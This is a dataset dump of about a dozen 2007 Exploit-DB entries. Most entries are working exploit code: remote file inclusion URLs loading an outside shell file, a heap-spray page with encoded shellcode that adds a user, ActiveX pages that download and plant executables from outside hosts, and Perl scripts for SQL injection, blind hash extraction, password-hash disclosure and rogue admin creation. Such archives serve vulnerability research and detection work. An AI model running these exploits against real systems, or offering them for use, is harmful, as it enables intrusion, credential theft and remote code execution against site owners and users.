QLWD/code_shield huggingface dataset:
标题: Joomla! Component com_slideshow - Remote File Inclusion EDB-ID: 4440 CVE: 2007-5065 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-21 漏洞利用脚本: --==+=================== Electronic Security Team (www.Yee7.com) ====================+==--
--==+         Joomla Component Flash Slide Show (admin.slideshow1.php) - RFI         +==--
--==+================================================================================+==--

Script Name:  Joomla Component Flash Slide Show Image Gallery
exploit:      Remote File Inclusion [High Risk]
Author:       ShockShadow - Electronic Security Team (www.Yee7.com)
Home:         www.Yee7.com
Download:     http://www.joomlahacks.com/component/option,com_remository/Itemid,41/func,download/id,491/chk,cb182dd5ecd024f36f7a8fa98dd8935e/
             http://www.box.net/shared/6xeh4doczd
Search Key:   inurl:/com_slideshow/

##############################

Line 3 of admin.slideshow1.php
>    include( "$mosConfig_live_site/components/com_slideshow1/about.html" );
==============

eXploit: http://domain.com/Joomla_Path/components/com_slideshow/admin.slideshow1.php?mosConfig_live_site=http://shell.txt

###############################
by: ShockShadow
GrEEtZ t0:
Mr.HaCkEr, Mr-m07, Al-Shikh, ThE WhitE WolF, HuRrIcAnE, S0m.Ph, KEENEST, HamzaBX1, Alakrb Almoftres, Falcon Hammdan, RoMaNcYxHaCkEr
Medo Hacker, rUn-vIrUs, Dr.eXe, zAx
AND ALL FRIENDS

# milw0rm.com [2007-09-21] URL: https://www.exploit-db.com/exploits/4440
标题: EB Design Pty Ltd - 'EBCRYPT.dll 2.0' Multiple Remote Vulnerabilities EDB-ID: 4453 CVE: 2007-5111 2007-5110 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-24 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>EB Design Pty Ltd (EBCRYPT.DLL v.2.0) Multiple Remote Vulnerabilites</b>
 url: http://www.ebcrypt.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b>Marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data
 KillBitSet: False</b>

 This control contains two vulnerabilities:
 1) It is possible to cause a DoS passing at least one character to
    "AddString()" method. This is a dump of exception:

    Access violation when reading [3A433B2E]
    03158CA4   FF51 10 => CALL DWORD PTR DS:[ECX+10] <-- crash
    ECX 3A433B2E <-- ".;C:" (is a part of path)

 2) It is possible to overwrite a file passed as argument to "SaveToFile()"
    method
-----------------------------------------------------------------------------


<object classid='clsid:3C34EAC7-9904-4415-BBE4-82AA8C0C0BE8' id='test1'></object>
<object classid='clsid:B1E7505E-BBFD-42BF-98C9-602205A1504C' id='test2'></object>

<input language=VBScript onclick=tryAddString() type=button value='Click here to start AddString test    '>

<input language=VBScript onclick=trySaveToFile() type=button value='Click here to start SaveToFile test'>

<script language='vbscript'>
  Sub tryAddString
   test1.AddString "A"
  End Sub

  Sub trySaveToFile
   test2.SaveToFile "C:\WINDOWS\system_.ini"
   MsgBox "Exploit completed."
  End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-09-24] URL: https://www.exploit-db.com/exploits/4453
标题: EasyMail MessagePrinter Object - 'emprint.dll 6.0.1.0' Remote Buffer Overflow EDB-ID: 4445 CVE: 2007-5070 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-23 漏洞利用脚本: <!--
rgod_em_msgprn_heap.html

EasyMail MessagePrinter Object (emprint.DLL 6.0.1.0) remote heap overflow exploit
(ie6 / xp sp2)

Mr Dormann, this should integrate this :D :

http://www.kb.cert.org/vuls/id/281977

retrieved from postcast srvr, dunno other software

tnx to 69sysim for some javascript code
-->
<html>
<strong>pwnin'...</strong>
<object classid='clsid:EEC089D8-16F8-11D5-823B-00C04F6BA8D9' id='EasyMailMessagePrinter' /></object>
<SCRIPT language="javascript">
//add su one, user: sun pass: tzu
shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741%u7734%u4734%u4570");
bigblock  = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<100;i++){memory[i] = block+shellcode}
bigblock  = unescape("%u0606%u0606"); //two stages needed
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
for (i=100;i<500;i++){memory[i] = block+shellcode}
</script>
<script language='vbscript'>
strFontName=String(7188, unescape("%0a"))
nSize=1
nFlag=1
EasyMailMessagePrinter.SetFont strFontName ,nSize ,nFlag
window.close 'no crash - just hangup - ie needs to be closed manually in some way to reach the call
</script>
</html>

# milw0rm.com [2007-09-23] URL: https://www.exploit-db.com/exploits/4445
标题: phpBB Plus 1.53 - 'phpbb_root_path' Remote File Inclusion EDB-ID: 4434 CVE: 2007-5009 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-20 漏洞利用脚本: AUTHOR = Mehrad Ansari Targhi
E-Mail : mehrad1989@gmail.com
My Yahoo Messenger ID : mehrad_1989

Script Download URL : http://www.phpbbplus.net/PhpBBPlus1.53.zip

This Is A RFI Bug .
This Bug Is In : [ PHPBBPLUS INSTALLED ]/language/lang_german/lang
_main_album.php

Exploit : http://[PHPPLUS]/language/lang_german/lang_main_album.php?phpbb_root_path=[ http://shell.txt]?a=

# milw0rm.com [2007-09-20] URL: https://www.exploit-db.com/exploits/4434
标题: Streamline PHP Media Server 1.0-beta4 - Remote File Inclusion EDB-ID: 4430 CVE: 2007-5015 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-19 漏洞利用脚本: Vulnerability Type: Remote File Inclusion
Vulnerable file: /streamline-1.0-beta4/src/core/theme/includes/account_footer.php
Exploit URL: http://localhost/streamline-1.0-beta4/src/core/theme/includes/account_footer.php?sl_theme_unix_path=http://localhost/shell.txt?
Method: get
Register_globals: On
Vulnerable variable: sl_theme_unix_path
Line number: 2
Lines:

----------------------------------------------
<?
    require_once( $sl_theme_unix_path."/account/footer.php" );
    require_once( $sl_theme_unix_path."/common/footer.php" );

----------------------------------------------

GrEeTs To sHaDoW sEcUrItY TeAm & str0ke

FoUnD By BiNgZa

DoRk: :(

shadowcrew@hotmail.co.uk

# milw0rm.com [2007-09-19] URL: https://www.exploit-db.com/exploits/4430
标题: Yahoo! Messenger 8.1.0.421 - CYFT Object Arbitrary File Download EDB-ID: 4428 CVE: 2007-5017 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-19 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>Yahoo! Messenger 8.1.0.421 CYFT Object (ft60.dll) Arbitrary File Download</b>
 url: http://download.yahoo.com/dl/msgr8/us/ymsgr8us.exe

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b>Marked as:
 RegKey Safe for Script: False
 RegkeySafe for Init: False
 KillBitSet: False</b>

 From remote: depends by Internet Explorer settings
 From local: yes

 <b>Description:
 This contron contains a "GetFile()" method which allows to download, on
 user's pc, an arbitrary file pased as argument.
 Remote execution depends by Internet Explorer settings, local execution
 works very well.</b>

 <b>greetz to:<font color='red'> skyhole (or YAG KOHHA)</font> for inspiration</b>
-----------------------------------------------------------------------------
<object classid='clsid:24F3EAD6-8B87-4C1A-97DA-71C126BDA08F' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   test.GetFile "http://www.shinnai.altervista.org/shinnai.bat","c:\\shinnai.bat",5,1,"shinnai"
   MsgBox "Exploit completed"
  End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-09-19] URL: https://www.exploit-db.com/exploits/4428
标题: OneCMS 2.4 - 'abc' SQL Injection EDB-ID: 4433 CVE: 2007-5016 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-19 漏洞利用脚本: #!/usr/bin/perl
#
# OneCMS v2.4 Remote SQL Injection Exploit
# 
# Description
# -----------
# OneCMS contains a flaw that allows an attacker to carry out an SQL 
# injection attack. The issue is due to the userreviews.php script not 
# properly sanitizing user-supplied input to the 'abc' variable. This may 
# allow an attacker to inject or manipulate SQL queries in the backend 
# database if magic_quotes_gpc = off.
# -----------
# $Id: milw0rm_onecms.pl,v 0.1 2007/09/19 15:02:12 str0ke Exp $

use strict;
use LWP::UserAgent;

my $target = shift || &usage();
my $proxy = shift;

&exploit($target); 

sub usage
{
 print "[?] OneCMS v2.4 Remote SQL Injection Exploit\n";
 print "[?] str0ke <str0ke[!]milw0rm.com>\n";
 print "[?] usage: perl $0 [target]\n";
 print "    [target] (ex. http://127.0.0.1/OneCMS)\n";
 print "    [proxy] (ex. 0.0.0.0:8080)\n";
 exit;
}

sub exploit
{
 my($target) = @_;

 my $conn = LWP::UserAgent->new() or die;
 $conn->agent("Mozilla/4.0 (compatible; Lotus-Notes/5.0; Windows-NT)");
 $conn->proxy("http", "http://".$proxy."/") unless !$proxy;
 
 my $out=$conn->get($target."/userreviews.php?abc=-1'%20union%20select%200,concat(0x3a,0x3a,0x3a,username,0x3a,password,0x3a,0x3a,0x3a)username,0,password,0,0,0,0,0%20from%20onecms_users/*");

 if ($out->content =~ m/:::(.*?):::/ms) {
  print $1 . "\n";
 } else { 
  print "Exploit Failed\n";
 }
}

# milw0rm.com [2007-09-19] URL: https://www.exploit-db.com/exploits/4433
标题: neuron news 1.0 - 'index.php?q' Local File Inclusion EDB-ID: 4439 CVE: 2007-5050 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-21 漏洞利用脚本: \\\|///
                    \\  - -  //      Y! Underground Group
                     (  @ @ )
              ----oOOo--(_)-oOOo--------------------------------------------------
              Portal   :  Neuron News 1.0
              Download :  http://downloads.localhost.be/scripts/neuronnews.zip
       Author   :  Dj7xpl
       HomePage :  http://r00t.ir  /  http://Dj7xpl.2600.ir
       Type     :  Local File Inclusion
              ----ooooO-----Ooooo--------------------------------------------------
                  (   )     (   )
                   \ (       ) /
                    \_)     (_/



+---------------------------------------------------------------------------------------------+

Vuln :

http://[TARGET]/[PATH]/index.php?q=[Local File]%00


+---------------------------------------------------------------------------------------------+

# milw0rm.com [2007-09-21] URL: https://www.exploit-db.com/exploits/4439
标题: jetAudio 7.x - ActiveX 'DownloadFromMusicStore()' Code Execution EDB-ID: 4427 CVE: 2007-4983 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-19 漏洞利用脚本: <HTML>
<!--
jetAudio 7.x ActiveX DownloadFromMusicStore() 0day Remote Code Execution Exploit
Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
Tested on:..
- jetAudio 7.0.3 Basic
- Microsoft Internet Explorer 6
Just for fun  ;) 
-->

<object id="obj" classid="clsid:8D1636FD-CA49-4B4E-90E4-0A20E03A15E8"></object>

<script>
var target = "DownloadFromMusicStore";
//>rename evil.exe evil.mp3
var url = "http://192.168.0.1/evil.mp3";
var dst = "..\\..\\..\\..\\..\\..\\..\\..\\Program Files\\JetAudio\\JetAudio.exe";
var title = "0day";
var artist = "h07";
var album = "for fun";
var genere = "exploit";
var size = 256;
var param1 = 0;
var param2 = 0;
obj[target](url, dst, title, artist, album, genere, size, param1, param2);
</script>
</HTML>

# milw0rm.com [2007-09-19] URL: https://www.exploit-db.com/exploits/4427
标题: Sun jre1.6.0_X - isInstalled.dnsResolve Function Overflow EDB-ID: 4432 CVE: 2007-5019 类型: DOS 平台: MULTIPLE 发布日期: 2007-09-19 漏洞利用脚本: <html>
<body>
<center>
Sun (jre1.6.0_X) isInstalled.dnsResolve function overflow PoC<br>
Bug founded and code released by Yag Kohha. <br>
Greetz to: <br>
Shinnai, Str0ke <br>

</center>
<object classid="CLSID:5852F5ED-8BF4-11D4-A245-0080C6F74284"
id="target"></OBJECT>
<SCRIPT language="javascript">
var b = 'XXXX';
while (b.length <= 512*512) b+=b;
target.dnsResolve(b);
</script>
</body>
</html>

# milw0rm.com [2007-09-19] URL: https://www.exploit-db.com/exploits/4432
标题: Flip 3.0 - Remote Password Hash Disclosure EDB-ID: 4436 CVE: 2007-5063 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-20 漏洞利用脚本: #!/usr/bin/perl

use strict; 
use IO::Socket;

my $app = "Flip <= 3.0";
my $type = "Passwords Hash Disclosure";
my $author = "undefined1_";
my $vendor = "http://sourceforge.net/projects/flipsource";

banner();
my $server = shift || usage();
my $port = shift || usage();

if($server =~ /http:\/\//)
{
 $server = substr($server,7);
}

my $path = "/";
if(index($server, "/") != -1)
{
 $path = substr($server, index($server, "/"));
 $server = substr($server, 0, index($server, "/"));
 if(substr($path, length($path)-1) ne "/") {
  $path .= "/";
 }
}

my $data = get($server, $port, $path."var/users.txt", "");
fail() unless $data !~ /404 Not Found/;
my $index1 = index($data, "\r\n\r\n");
fail() unless $index1 >= 0;

$data = substr($data, $index1+4);
$index1 = 0;
printf ("%-20s %-32s\n", "username", "md5 hash");
while(($index1 = index($data, "\n")) >= 0)
{ 
 my $hash = substr($data, 0, 32);
 my $index2 = index($data, "][");
 my $index3 = index($data, "][", $index2+2);
 my $user = "";
 if($index2 >= 0 && $index3 >= 0)
 {
  $user = substr($data, $index2+2, $index3-($index2+2));
 }
 printf ("%-20s %-32s\n", $user, $hash);
 $data = substr($data, $index1+1);
}

###################

sub get(\$,\$,\$,\$) {
 my $server = shift;
 my $port = shift;
 my $page = shift;
 my $cookies = shift;
 my $query = "GET $page HTTP/1.1\r\n";
 if($port != 80)
 {
  $query .= "Host: $server:$port\r\n";
 }
 else
 {
  $query .= "Host: $server\r\n";
 }

 $query .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\r\n";
 $query .= "Connection: close\r\n";
 $query .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
 $query .= "Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
 $query .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"; 
 
 if(length($cookies))
 {
  $query .= "Cookie: ".$cookies."\r\n";
 }   

 $query .= "\r\n";
 return sendpacket($server, $port, $query);
}





sub sendpacket(\$,\$,\$) {
 my $server = shift;
 my $port = shift;
 my $query = shift;
 my $sock = IO::Socket::INET->new(Proto => "tcp", 
    PeerAddr => $server, PeerPort => $port) 
    or die "[-] Could not connect to $server:$port $!\n";
 print $sock $query;
 my $data = "";
 my $answer;
 while($answer = <$sock>)
 {
  $data .= $answer;
 }

 close($sock);
 return $data;
}



###################



sub fail() {
 print "[-] exploit failed\n";
 exit;
}



sub banner() {
 print ":: Flip <= 3.0 password hash disclosure exploit\n";
 print ":: by undefined1_ @ www.undef1.com\n\n\n";
}



sub usage() {
 print "usage  : ./flip_pass.pl <target> <port>\n";
 print "example: ./flip_pass.pl www.abcd.com/flip/ 80\n";
 exit;
}

# milw0rm.com [2007-09-20] URL: https://www.exploit-db.com/exploits/4436
标题: Flip 3.0 - Remote Admin Creation EDB-ID: 4435 CVE: 2007-5062 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-20 漏洞利用脚本: #!/usr/bin/perl

use strict; 
use IO::Socket;
use Getopt::Std;

my $app = "Flip <= 3.0";
my $type = "Admin Creation";
my $author = "undefined1_";
my $vendor = "http://sourceforge.net/projects/flipsource";

my %opt;
getopts("t:", \%opt);
$| = 1;
print ":: $app $type - by $author - www.undef1.com ::\n\n\n";

my $url = $opt{t} || usage();

if($url =~ m/^(?:http:\/\/)(.*)/) {
 $url = $1;
}
if($url !~ m/^.*\/$/) {
 $url .= "/";
}

print "username you want: ";
my $user = <STDIN>;
print "password you want: ";
my $pass = <STDIN>;
chomp($user);
chomp($pass);

create_admin($url, $user, $pass);

sub create_admin {
 my $url = shift;
 my $user = shift;
 my $pass = shift;
 
 print "creating admin ... \t";
 my $content  = "un=$user&em=aaa][3\@gmail.com&pw1=$pass&pw2=$pass";
 my $data = "POST " . parse_page($url . "account.php?op=register") . " HTTP/1.1\r\n";
 $data .= "Host: " . parse_host($url) . "\r\n";
 $data .= "Connection: close\r\n";
 $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
 $data .= "Content-Length: " . length($content) . "\r\n\r\n";
 my $recv = sendpacket(parse_host($url), parse_port($url), $data.$content);

 if($recv !~ m/Successfully registered!/m) {
  print "failed\n";
  return;
 } 
 print "OK\n";  
}



# ======================================================

sub parse_host {
 my $url = shift;
 if($url =~ m/^([^\/:]+).*\//) {
  return $1;
}
 return "127.0.0.1";
}

sub parse_port {
 my $url = shift;
 if($url =~ m/^(?:[^\/:]+):(\d+)\//) {
  return $1;
}
 return "80";
}

sub parse_page {
 my $url = shift;
 if($url =~ m/^(?:[^\/]+)(\/.*)/) {
  return $1;
 }
 return "/";
}


sub sendpacket {
 my $server = shift;
 my $port = shift;
 my $data = shift;

 my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $server, PeerPort => $port) or die ":: Could not connect to $server:80 $!\n";
 print $sock "$data";
 
 $data = "";
 my $resp;
 while($resp = <$sock>) { $data .= $resp; }
 
 close($sock);
 return $data;
}

sub usage() {
 printf "usage: %s -t<url>\n", $0;
 exit;
}

# milw0rm.com [2007-09-20] URL: https://www.exploit-db.com/exploits/4435
标题: phpBB Mod Ktauber.com StylesDemo - Blind SQL Injection EDB-ID: 4425 CVE: 2007-4984 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-18 漏洞利用脚本: #---------------------------------------------------------------
# ____            __________         __             ____  __   
#/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
# |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
# |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
# |___|___|  /\__|  /______  /\___  >__|            |___||__|  
#          \/\______|      \/     \/                           
#---------------------------------------------------------------
#
#Http://www.inj3ct-it.org     Staff[at]inj3ct-it[dot]org 
#
#--------------------------------------------------------------
#
#Ktauber.com StylesDemo Mod for phpbb 2.0.xx Multiple Vulnerabilites
#
#---------------------------------------------------------------
#
# Coded by nexen
#
# GreetZ: Rossi46go for code 
#
# Description:
#
#XSS and SQL Injection
#
#---------------------------------------------------------------
#
#
#
#
#---------------------------------------------------------------
#exploit.pl
#---------------------------------------------------------------
#
#
#
use LWP::UserAgent;
use HTTP::Request::Common;
use Time::HiRes;
######################################## CONFIGURAZIONE EXPLOIT ##########################################################################
$sito = "http://www.forumup.com/stylesdemo/"; # insert vulnerable site as http://[site]/[path]/
##########################################################################################################################################
$var = "1";
my $hash;
@array = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);

sub richiesta {
$var = $_[0];
$ua = LWP::UserAgent->new;
$inizio=Time::HiRes::time();
$response = $ua->request(GET $var,
s => $var);
$response->is_success() || print("$!\n");
$fine=Time::HiRes::time();
$tempo=$fine-$inizio;
return $tempo
}

sub aggiorna{
system("cls");
print "Tempo sql : " . $_[4] . " secondi\n";
print "Hash : " . $_[3] . "\n";
}

#print richiesta;

for ($i=1;$i<33;$i++)
{
for ($j=0;$j<16;$j++)
{

$var=$sito."index.php?s=(SELECT IF((ASCII(SUBSTRING(`user_password`,".$i.",1))=".$array[$j]."),benchmark(200000000,CHAR(0)),0) FROM phpbb_users WHERE `user_id`=2)/*";
$tempo=richiesta($var);
aggiorna($host,$tempodefault,$j,$hash,$tempo,$i);
if($tempo>9)
{
$tempo=richiesta($var);
aggiorna($host,$tempodefault,$j,$hash,$tempo,$i);
if($tempo>9)
{
$hash .=chr($array[$j]);
aggiorna($host,$tempodefault,$j,$hash,$tempo,$i);
$j=200;
}
}

}
if($i==1)
{
if($hash eq "")
{
$i=200;
print "Attacco Fallito Sito Fixato\n";
}
}
}


print "Attacco Terminato\n\n";

system("pause");

# milw0rm.com [2007-09-18] URL: https://www.exploit-db.com/exploits/4425